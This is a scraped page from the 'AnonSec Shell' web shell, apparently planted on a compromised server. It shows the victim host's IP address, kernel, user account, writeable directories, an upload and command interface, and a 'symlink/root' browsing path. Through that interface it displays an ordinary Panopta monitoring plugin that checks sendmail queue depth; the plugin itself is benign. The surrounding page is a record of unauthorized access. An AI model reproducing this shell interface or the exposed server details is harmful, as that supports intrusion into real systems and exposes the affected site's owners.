AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.143.254.224
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/panopta-agent/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/panopta-agent/plugins/sendmail.py
import agent_util


class SendmailPlugin(agent_util.Plugin):
    textkey = "sendmail"
    label = "Sendmail"

    @classmethod
    def get_metadata(self, config):
        status = agent_util.SUPPORTED
        msg = None

        sendmail_bin = agent_util.which("sendmail")

        # in case sendmail is not in default path for the agent
        if not sendmail_bin:
            sendmail_bin = agent_util.which("/usr/sbin/sendmail")

        if not sendmail_bin:
            self.log.info("couldn't find sendmail binary")
            status = agent_util.UNSUPPORTED
            msg = "Couldn't find sendmail binary"

        # if they have configured sudo, try it first
        if sendmail_bin and config.get("use_sudo", 0):
            if not agent_util.execute_command("sudo -n %s -bp" % sendmail_bin)[0] == 0:
                self.log.error(
                    'Insufficient permission - Enable sudo access for agent user on sendmail.')
                status = agent_util.UNSUPPORTED
                msg = "SUDO access not configured for panopta-agent user"

        data = {
            "queue_depth": {
                "label": "Sendmail queue depth",
                "options": None,
                "status": status,
                "error_message": msg
            }
        }

        return data

    def check(self, textkey, data, config={}):

        sendmail_bin = agent_util.which("sendmail", exc=True)

        # in case sendmail is not in default path for the agent
        if not sendmail_bin:
            sendmail_bin = agent_util.which("/usr/sbin/sendmail", exc=True)

        if config.get("use_sudo", 0):
            sudo_string = "sudo -n "
        else:
            sudo_string = ""

        retcode, output = agent_util.execute_command(
            "%s%s -bp" % (sudo_string, sendmail_bin))
        self.log.debug("sendmail -bp output: %s" % str(output))

        # sample output
        # dev@wlocalhost:/# sendmail -bpc
        # /var/spool/mqueue is empty
        # Total requests: 0

        output = output.splitlines()

        for line in output:
            if line.strip().startswith("Total requests:"):
                try:
                    return int(line.strip().split("Total requests:")[1].strip())
                except:
                    self.log.debug("Failed parsing line: '%s'" % line)
                    return None

        self.log.debug("No lines matched Total requests string")
        return None

Anon7 - 2022
AnonSec Team